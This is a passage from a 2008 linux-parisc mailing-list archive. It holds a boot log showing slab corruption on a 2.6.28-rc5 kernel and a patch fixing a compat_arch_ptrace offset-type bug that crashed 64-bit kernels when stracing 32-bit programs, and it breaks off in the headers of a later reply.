Original-Received: from mnhm-590e0b6f.pool.einsundeins.de (EHLO halden.box) [89.14.11.111]
  by mail.gmx.net (mp025) with SMTP; 20 Nov 2008 08:55:33 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX193Gm5pGAR3zv4hwkZ9jDw1rzxgZuSJa1P6bB1vY7
	cOxkceQbPGoCAz
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <49243DF1.2010206@gmx.de>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.47
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:848
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/848>

Helge Deller wrote:
> James Bottomley wrote:
>>> Why don't we compare configs?  This is mine for ion:
>>> http://parisc-linux.org/~jejb/config-2.6.28-rc5-ion
> 
>  > Domenico Andreoli wrote:
>> https://mnl.crema.unimi.it/~cavok/config-2.6.28-rc5
> 
> Helge:
> and here is mine (32bit(!), usually works on C3000, B160L, 715/64 and 
> Tadpole PARISC laptop - similiar to B160L):
> http://gsyprf10.external.hp.com/~deller/config.2.6.28-rc5

I don't want to flood the mailing list with my problem.

But I continued with testing:
1) I modified James's ion-config for netbooting and built it. Crashed 
same way as Dave just reported in another mail (DEBUG_BLOCK_EXT_DEVT is 
enabled, you need to specify explicit textual name for "root=" boot option.)

2) To avoid possible cross-compiler bugs I built James's ion-config 
(with no modifications at all!) on the c3k natively. It booted yesterday 
nicely without any problems from local disk. Today, I booted the same 
kernel, again with no modifications or changes at all, just the same 
kernel which already was on the disk, and it brought up a Slab corruption:


HARD Booted.
palo ipl 1.14 root@penalosa Wed Oct  8 15:04:37 UTC 2008

Partition Start(MB) End(MB) Id Type
1               1     257   82 swap
2             258     278   f0 Palo
3             279    2048   83 ext2
4            2049    8678   83 ext2

PALO(F0) partition contains:
     0/vmlinux32 14996734 bytes @ 0x10140000
     0/ramdisk 6264632 bytes @ 0x10f8d4fe

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102 
palo_kernel=3/boot/vmlinux'
Selected kernel: /boot/vmlinux from partition 3
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 5140480 mediaptr 0x1000
Segment 1 load 0063c000 size 381320 mediaptr 0x4e8000
Segment 2 load 0069c000 size 215488 mediaptr 0x546000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.28-rc5 (root@c3000) (gcc version 4.1.3 20080623 
(prerelease) (Debian 4.1.2-23)) #4 SMP Wed 8
unwind_init: start = 0x405042e4, end = 0x40536d34, entries = 12965
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005dc0 00000481 00000000 00000002 777c3e84 100000f0 00000008 
000000b2 000000b2
vers  00000301
CPUID vers 19 rev 11 (0x0000026b)
capabilities 0x7
model 9000/785/C3700
Total Memory: 2048 MB
SMP: bootstrap CPU ID is 0
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 517120
Kernel command line: root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102 
palo_kernel=3/boot/vmlinux
PID hash table entries: 4096 (order: 12, 32768 bytes)
Console: colour dummy device 160x64
------------------------
| Locking API testsuite:
----------------------------------------------------------------------------
                                  | spin |wlock |rlock |mutex | wsem | 
rsem |
 
--------------------------------------------------------------------------
                      A-A deadlock:failed|failed|  ok 
|failed|failed|failed|
                  A-B-B-A deadlock:failed|failed|  ok 
|failed|failed|failed|
              A-B-B-C-C-A deadlock:failed|failed|  ok 
|failed|failed|failed|
              A-B-C-A-B-C deadlock:failed|failed|  ok 
|failed|failed|failed|
          A-B-B-C-C-D-D-A deadlock:failed|failed|  ok 
|failed|failed|failed|
          A-B-C-D-B-D-D-A deadlock:failed|failed|  ok 
|failed|failed|failed|
          A-B-C-D-B-C-D-A deadlock:failed|failed|  ok 
|failed|failed|failed|
                     double unlock:failed|failed|failed|  ok 
|failed|failed|
                   initialize 
held:failed|failed|failed|failed|failed|failed|
                  bad unlock order:  ok  |  ok  |  ok  |  ok  |  ok  | 
ok  |
 
--------------------------------------------------------------------------
               recursive read-lock:             |  ok  | 
|failed|
            recursive read-lock #2:             |  ok  | 
|failed|
             mixed read-write-lock:             |failed| 
|failed|
             mixed write-read-lock:             |failed| 
|failed|
 
--------------------------------------------------------------------------
      hard-irqs-on + irq-safe-A/12:failed|failed|  ok  |
      soft-irqs-on + irq-safe-A/12:failed|failed|  ok  |
      hard-irqs-on + irq-safe-A/21:failed|failed|  ok  |
      soft-irqs-on + irq-safe-A/21:failed|failed|  ok  |
        sirq-safe-A => hirqs-on/12:failed|failed|  ok  |
        sirq-safe-A => hirqs-on/21:failed|failed|  ok  |
          hard-safe-A + irqs-on/12:failed|failed|  ok  |
          soft-safe-A + irqs-on/12:failed|failed|  ok  |
          hard-safe-A + irqs-on/21:failed|failed|  ok  |
          soft-safe-A + irqs-on/21:failed|failed|  ok  |
     hard-safe-A + unsafe-B #1/123:failed|failed|  ok  |
     soft-safe-A + unsafe-B #1/123:failed|failed|  ok  |
     hard-safe-A + unsafe-B #1/132:failed|failed|  ok  |
     soft-safe-A + unsafe-B #1/132:failed|failed|  ok  |
     hard-safe-A + unsafe-B #1/213:failed|failed|  ok  |
     soft-safe-A + unsafe-B #1/213:failed|failed|  ok  |
     hard-safe-A + unsafe-B #1/231:failed|failed|  ok  |
     soft-safe-A + unsafe-B #1/231:failed|failed|  ok  |
     hard-safe-A + unsafe-B #1/312:failed|failed|  ok  |
     soft-safe-A + unsafe-B #1/312:failed|failed|  ok  |
     hard-safe-A + unsafe-B #1/321:failed|failed|  ok  |
     soft-safe-A + unsafe-B #1/321:failed|failed|  ok  |
     hard-safe-A + unsafe-B #2/123:failed|failed|  ok  |
     soft-safe-A + unsafe-B #2/123:failed|failed|  ok  |
     hard-safe-A + unsafe-B #2/132:failed|failed|  ok  |
     soft-safe-A + unsafe-B #2/132:failed|failed|  ok  |
     hard-safe-A + unsafe-B #2/213:failed|failed|  ok  |
     soft-safe-A + unsafe-B #2/213:failed|failed|  ok  |
     hard-safe-A + unsafe-B #2/231:failed|failed|  ok  |
     soft-safe-A + unsafe-B #2/231:failed|failed|  ok  |
     hard-safe-A + unsafe-B #2/312:failed|failed|  ok  |
     soft-safe-A + unsafe-B #2/312:failed|failed|  ok  |
     hard-safe-A + unsafe-B #2/321:failed|failed|  ok  |
     soft-safe-A + unsafe-B #2/321:failed|failed|  ok  |
       hard-irq lock-inversion/123:failed|failed|  ok  |
       soft-irq lock-inversion/123:failed|failed|  ok  |
       hard-irq lock-inversion/132:failed|failed|  ok  |
       soft-irq lock-inversion/132:failed|failed|  ok  |
       hard-irq lock-inversion/213:failed|failed|  ok  |
       soft-irq lock-inversion/213:failed|failed|  ok  |
       hard-irq lock-inversion/231:failed|failed|  ok  |
       soft-irq lock-inversion/231:failed|failed|  ok  |
       hard-irq lock-inversion/312:failed|failed|  ok  |
       soft-irq lock-inversion/312:failed|failed|  ok  |
       hard-irq lock-inversion/321:failed|failed|  ok  |
       soft-irq lock-inversion/321:failed|failed|  ok  |
       hard-irq read-recursion/123:  ok  |
       soft-irq read-recursion/123:  ok  |
       hard-irq read-recursion/132:  ok  |
       soft-irq read-recursion/132:  ok  |
       hard-irq read-recursion/213:  ok  |
       soft-irq read-recursion/213:  ok  |
       hard-irq read-recursion/231:  ok  |
       soft-irq read-recursion/231:  ok  |
       hard-irq read-recursion/312:  ok  |
       soft-irq read-recursion/312:  ok  |
       hard-irq read-recursion/321:  ok  |
       soft-irq read-recursion/321:  ok  |
--------------------------------------------------------
144 out of 218 testcases failed, as expected. |
----------------------------------------------------
Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Memory: 2054144k/2097152k available (3352k kernel code, 42608k reserved, 
1619k data, 212k init)
virtual kernel memory layout:
     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
     memory  : 0x0000000040000000 - 0x00000000c0000000   (2048 MB)
       .init : 0x000000004069c000 - 0x00000000406d1000   ( 212 kB)
       .data : 0x00000000404462d8 - 0x00000000405db000   (1619 kB)
       .text : 0x0000000040100000 - 0x00000000404462d8   (3352 kB)
Calibrating delay loop... 1495.04 BogoMIPS (lpj=2990080)
Mount-cache hash table entries: 256
Brought up 1 CPUs
net_namespace: 840 bytes
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 
0x0000b }
2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
6. Allegro W2 at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
7. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
Setting cache flush threshold to 180000 (1 CPUs online)
SBA found Astro 2.1 at 0xfffffffffed00000
Elroy version TR4.0 (0x5) found at 0xfffffffffed30000
PCI: Enabled native mode for NS87415 (pif=0x8f)
Elroy version TR4.0 (0x5) found at 0xfffffffffed32000
iosapic: no IRTE for 0000:01:04.0 (IRQ not connected?)
iosapic: no IRTE for 0000:01:05.0 (IRQ not connected?)
Elroy version TR4.0 (0x5) found at 0xfffffffffed38000
Elroy version TR4.0 (0x5) found at 0xfffffffffed3c000
iosapic: hpa not registered for 0000:03:02.0
powersw: Soft power switch at 0xfffffff0f0400804 enabled.
SCSI subsystem initialized
NET: Registered protocol family 2
IP route cache hash table entries: 65536 (order: 7, 524288 bytes)
TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP reno registered
NET: Registered protocol family 1
Performance monitoring counters enabled for Allegro W2
Initializing RT-Tester: OK
VFS: Disk quotas dquot_6.5.1
Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
msgmni has been set to 4012
alg: No test for stdrng (krng)
Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered (default)
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 68)
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
Linux agpgart interface v0.103
Serial: 8250/16550 driver4 ports, IRQ sharing disabled
serial8250: ttyS0 at I/O 0x3f8 (irq = 3) is a 16550A
console handover: boot [ttyB0] -> real [ttyS0]
serial8250: ttyS1 at I/O 0x2f8 (irq = 4) is a 16550A
brd: module loaded
sym0: <896> rev 0x7 at pci 0000:00:0f.0 irq 69
sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
sym0: SCSI BUS has been reset.
sym0: SCSI BUS mode change from SE to SE.
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.3
sym1: <896> rev 0x7 at pci 0000:00:0f.1 irq 69
sym1: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.2.3
scsi 1:0:5:0: Direct-Access     SEAGATE  ST39102LC        HP01 PQ: 0 ANSI: 2
  target1:0:5: tagged command queuing enabled, command queue depth 16.
  target1:0:5: Beginning Domain Validation
  target1:0:5: asynchronous
  target1:0:5: wide asynchronous
  target1:0:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 15)
  target1:0:5: Domain Validation skipping write tests
  target1:0:5: Ending Domain Validation
scsi 1:0:6:0: Direct-Access     HP 36.4G ST336607LC       HPC3 PQ: 0 ANSI: 3
  target1:0:6: tagged command queuing enabled, command queue depth 16.
  target1:0:6: Beginning Domain Validation
  target1:0:6: asynchronous
  target1:0:6: wide asynchronous
  target1:0:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
  target1:0:6: Domain Validation skipping write tests
  target1:0:6: Ending Domain Validation
Driver 'sd' needs updating - please use bus_type methods
sd 1:0:5:0: [sda] 17773524 512-byte hardware sectors: (9.10 GB/8.47 GiB)
sd 1:0:5:0: [sda] Write Protect is off
sd 1:0:5:0: [sda] Write cache: disabled, read cache: enabled, supports 
DPO and FUA
sd 1:0:5:0: [sda] 17773524 512-byte hardware sectors: (9.10 GB/8.47 GiB)
sd 1:0:5:0: [sda] Write Protect is off
sd 1:0:5:0: [sda] Write cache: disabled, read cache: enabled, supports 
DPO and FUA
  sda: sda1 sda2 sda3 sda4
sd 1:0:5:0: [sda] Attached SCSI disk
sd 1:0:6:0: [sdb] 71132960 512-byte hardware sectors: (36.4 GB/33.9 GiB)
sd 1:0:6:0: [sdb] Write Protect is off
sd 1:0:6:0: [sdb] Write cache: disabled, read cache: enabled, supports 
DPO and FUA
sd 1:0:6:0: [sdb] 71132960 512-byte hardware sectors: (36.4 GB/33.9 GiB)
sd 1:0:6:0: [sdb] Write Protect is off
sd 1:0:6:0: [sdb] Write cache: disabled, read cache: enabled, supports 
DPO and FUA
  sdb: sdb1 sdb2 sdb3 sdb4
sd 1:0:6:0: [sdb] Attached SCSI disk
sd 1:0:5:0: Attached scsi generic sg0 type 0
sd 1:0:6:0: Attached scsi generic sg1 type 0
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
mice: PS/2 mouse device common for all mice
rtc-parisc rtc-parisc: rtc core: registered rtc-parisc as rtc0
TCP cubic registered
rtc-parisc rtc-parisc: setting system clock to 2008-11-20 07:34:21 UTC 
(1227166461)
EXT3-fs: INFO: recovery required on readonly filesystem.
EXT3-fs: write access will be enabled during recovery.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: recovery complete.
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory:
Badness at kernel/smp.c:333
<...here is the known smp badness bug...>
212k freed
INIT: version 2.86 booting
.udev/ already exists on the static /dev! (warning).
Starting the hotplug events dispatcher: udevd.
Synthesizing the initial hotplug events...done.
Waiting for /dev to be fully populated...Linux Tulip driver version 
1.1.15 (Feb 27, 2007)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21142/43 Tulip rev 65 at MMIO 0xfffffffff2008000, 
00:30:6e:48:aa:64, IRQ 66.
tulip1:  EEPROM default media type Autosense.
tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
tulip1:  Index #1 - Media 10base2 (#1) described by a 21142 Serial PHY 
(2) block.
tulip1:  Index #2 - Media AUI (#2) described by a 21142 Serial PHY (2) 
block.
tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101.
eth1: Digital DS21142/43 Tulip rev 33 at MMIO 0xfffffffff3004000, 
00:60:b0:7a:12:89, IRQ 72.
Slab corruption: size-128 start=00000000be8ab1d0, len=128
Redzone: 0x9d70000001/0x9f911029d74e35b.
Last user: [<0000000000000000>](0x0)
000: 00 00 00 00 00 00 00 02 00 00 00 00 00 0a 71 0c
010: 00 00 00 00 00 00 01 e8 00 00 00 00 00 00 00 30
020: 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 04
Redzone: 0x9f911029d74e35b/0x9f911029d74e35b.
Last user: [<ffffffffffffffff>](0xfffffffffffffffc)
000: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b
010: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b
Next obj: start=00000000be8ab268, len=128
Redzone: 0xd84156c5635688c0/0xd84156c5635688c0.
Last user: [<0000000040185f34>](add_notes_attrs+0x8c/0x1c0)
000: 00 00 00 00 bd c3 09 d8 00 00 00 01 00 00 00 00
010: 00 00 00 00 bd c1 4a 78 00 00 00 00 00 00 00 00
slab error in cache_alloc_debugcheck_after(): cache `size-128': double 
free, or memory outside object was oven
Backtrace:
  [<000000004011a6c4>] show_stack+0x14/0x20
  [<000000004011a6e8>] dump_stack+0x18/0x28
  [<00000000401cc054>] __slab_error+0x3c/0x48
  [<00000000401cc850>] cache_alloc_debugcheck_after+0x1d0/0x2f8
  [<00000000401cebf0>] kmem_cache_alloc+0xd0/0x1a8
  [<00000000401d7b9c>] __register_chrdev_region+0x54/0x210
  [<00000000401d7da0>] register_chrdev+0x48/0x190
  [<00000000000cf068>] init_oss_soundcore+0x28/0x60 [soundcore]
  [<00000000000cf0bc>] init_soundcore+0x1c/0x98 [soundcore]
  [<00000000401177f0>] do_one_initcall+0x50/0x1d0
  [<0000000040188988>] sys_init_module+0x100/0x2a8
  [<0000000040104ef8>] syscall_exit+0x0/0x14

00000000be8ab1c8: redzone 1:0x9d70000001, redzone 2:0x9f911029d74e35b
acenic.c: v0.92 08/05/2002  Jes Sorensen, linux-acenic@SunSITE.dk
                             http://home.cern.ch/~jes/gige/acenic.html
0000:02:01.0: Alteon AceNIC Gigabit Ethernet at 0xfffffffff3000000, irq 71
   Tigon II (Rev. 6), Firmware: 12.4.11, MAC: 00:30:6e:0f:91:d8
   PCI bus width: 64 bits, speed: 33MHz, latency: 248 clks
   Disabling PCI memory write and invalidate
0000:02:01.0: Firmware up and running
done.
Setting parameters of disc: (none).
Setting the system clock.
System Clock set to: Thu Nov 20 07:34:43 UTC 2008.
<...continues to boot until a login prompt>

My conclusion is:
There is some problem somewhere.
It does not show up always. Changing some kernel configuration may bring 
the bug up or it may not.
James, I think if you reboot your ion machine a few times or modify some 
kernel configs, you probably will hit the bug as well.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: fix bug in compat_arch_ptrace
Date: Thu, 20 Nov 2008 10:54:09 +0100
Lines: 105
Approved: news@gmane.org
Message-ID: <200811201054.09930.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227174912 31646 80.91.229.12 (20 Nov 2008 09:55:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Nov 2008 09:55:12 +0000 (UTC)
To: linux-kernel@vger.kernel.org, akpm@linux-foundation.org,
	torvalds@linux-foundation.org,
	Kyle Mc Martin <kyle@hera.kernel.org>,
	linux-parisc@vger.kernel.org, Christoph Hellwig <hch@lst.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 20 10:56:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L36Gf-0001E6-Er
	for glpp-linux-parisc@gmane.org; Thu, 20 Nov 2008 10:56:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753182AbYKTJy6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Nov 2008 04:54:58 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753245AbYKTJy5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 20 Nov 2008 04:54:57 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:52067 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753182AbYKTJy4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Nov 2008 04:54:56 -0500
Original-Received: (qmail invoked by alias); 20 Nov 2008 09:54:54 -0000
Original-Received: from mnhm-590e0b6f.pool.einsundeins.de (EHLO p100.box) [89.14.11.111]
  by mail.gmx.net (mp024) with SMTP; 20 Nov 2008 10:54:54 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+q39crJaeqC2Y07tdgfjXcc8T8Z5EyO52Wo2DKeE
	ibzL9LIomVEaRc
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.46
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:849 gmane.linux.kernel:759722
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/849>

This commit in 2.6.28-rc:
	81e192d6ce303b6792aa38ff35f41a1a7357f23a
	parisc: convert to generic compat_sys_ptrace

introduced a bug which segfaults the parisc 64bit kernel 
when stracing 32bit applications:

Kernel Fault: Code=15 regs=00000000bafa42b0 (Addr=00000001baf5ab57)
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111111100001011 Tainted: G        W
r00-03  000000ff0806ff0b 000000004068edc0 00000000401203f8 00000000fb3e2508
r04-07  0000000040686dc0 00000000baf5a800 fffffffffffffffc fffffffffb3e2508
r08-11  00000000baf5a800 000000000004b068 00000000000402b0 0000000000040d68
r12-15  0000000000042a9c 0000000000040a9c 0000000000040d60 0000000000042e9c
r16-19  000000000004b060 000000000004b058 0000000000042d9c ffffffffffffffff
r20-23  000000000800000b 0000000000000000 000000000800000b fffffffffb3e2508
r24-27  00000000fffffffc 0000000000000003 00000000fffffffc 0000000040686dc0
r28-31  00000001baf5a7ff 00000000bafa4280 00000000bafa42b0 00000000000001d7
sr00-03  0000000000fca000 0000000000000000 0000000000000000 0000000000fca000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040120400 0000000040120404
 IIR: 4b9a06b0    ISR: 0000000000000000  IOR: 00000001baf5ab57
 CPU:        0   CR30: 00000000bafa4000 CR31: 00000000d22344e0
 ORIG_R28: 00000000fb3e2248
 IAOQ[0]: compat_arch_ptrace+0xb8/0x160
 IAOQ[1]: compat_arch_ptrace+0xbc/0x160
 RP(r2): compat_arch_ptrace+0xb0/0x160
Backtrace:
 [<00000000401612ac>] compat_sys_ptrace+0x15c/0x180
 [<0000000040104ef8>] syscall_exit+0x0/0x14

Problem is, that compat_arch_ptrace() enters with an addr value of type 
compat_ulong_t and calls translate_usr_offset() to translate the 
address offset into a struct pt_regs offset like this:
	addr = translate_usr_offset(addr)
This means, any return value of translate_usr_offset() is
stored back as compat_ulong_t type into the addr variable.

But since translate_usr_offset() returns -1 for invalid offsets,
addr can now get the value 0xffffffff which then fails the next
return-value sanity check and thus the kernel tries to access 
invalid memory:
	if (addr < 0)
		break;

Fix this bug by modifying translate_usr_offset() to take and return
values of type compat_ulong_t, and by returning the value 
"sizeof(struct pt_regs)" as an error indicator.
Additionally change the sanity check to check for return values
for >= sizeof(struct pt_regs).

This patch survived my compile and run-tests.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index 90904f9..927db36 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -183,10 +183,10 @@ long arch_ptrace(struct task_struct *child, long request, long addr, long data)
  * being 64 bit in both cases.
  */
 
-static long translate_usr_offset(long offset)
+static compat_ulong_t translate_usr_offset(compat_ulong_t offset)
 {
 	if (offset < 0)
-		return -1;
+		return sizeof(struct pt_regs);
 	else if (offset <= 32*4)	/* gr[0..31] */
 		return offset * 2 + 4;
 	else if (offset <= 32*4+32*8)	/* gr[0..31] + fr[0..31] */
@@ -194,7 +194,7 @@ static long translate_usr_offset(long offset)
 	else if (offset < sizeof(struct pt_regs)/2 + 32*4)
 		return offset * 2 + 4 - 32*8;
 	else
-		return -1;
+		return sizeof(struct pt_regs);
 }
 
 long compat_arch_ptrace(struct task_struct *child, compat_long_t request,
@@ -209,7 +209,7 @@ long compat_arch_ptrace(struct task_struct *child, compat_long_t request,
 		if (addr & (sizeof(compat_uint_t)-1))
 			break;
 		addr = translate_usr_offset(addr);
-		if (addr < 0)
+		if (addr >= sizeof(struct pt_regs))
 			break;
 
 		tmp = *(compat_uint_t *) ((char *) task_regs(child) + addr);
@@ -236,7 +236,7 @@ long compat_arch_ptrace(struct task_struct *child, compat_long_t request,
 			if (addr & (sizeof(compat_uint_t)-1))
 				break;
 			addr = translate_usr_offset(addr);
-			if (addr < 0)
+			if (addr >= sizeof(struct pt_regs))
 				break;
 			if (addr >= PT_FR0 && addr <= PT_FR31 + 4) {
 				/* Special case, fp regs are 64 bits anyway */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Thu, 20 Nov 2008 13:57:53 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <7d01f9f00811200457v7589d731l787765553574276a@mail.gmail.com>
References: <49231FD0.9040409@gmx.de>
	 <1227061902.10371.11.camel@localhost.localdomain>
	 <20081119091327.GB3270@tilt.dandreoli.com> <49243DF1.2010206@gmx.de>
	 <492517F2.9060703@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227185894 3876 80.91.229.12 (20 Nov 2008 12:58:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Nov 2008 12:58:14 +0000 (UTC)
Cc: "James Bottomley" <James.Bottomley@hansenpartnership.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 20 13:59:15 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L397i-0002AO-IJ
	for glpp-linux-parisc@gmane.org; Thu, 20 Nov 2008 13:59:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754459AbYKTM5z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Nov 2008 07:57:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754589AbYKTM5z
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 20 Nov 2008 07:57:55 -0500
Original-Received: from wf-out-1314.google.com ([209.85.200.168]:41128 "EHLO
	wf-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754459AbYKTM5y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Nov 2008 07:57:54 -0500
Original-Received: by wf-out-1314.google.com with SMTP id 27so476779wfd.4
        for <linux-parisc@vger.kernel.org>; Thu, 20 Nov 2008 04:57:54 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=2NHxdXA1i9rODY6Z8kEgero9bWzZ0HQPKw8kZT5XVII=;
        b=SUHSFpM4bvzwn1VVGrwwBibvhLwuKOvVVGhuZn7OmcruefJnC+Dz+Li4o+x2M5yJKV
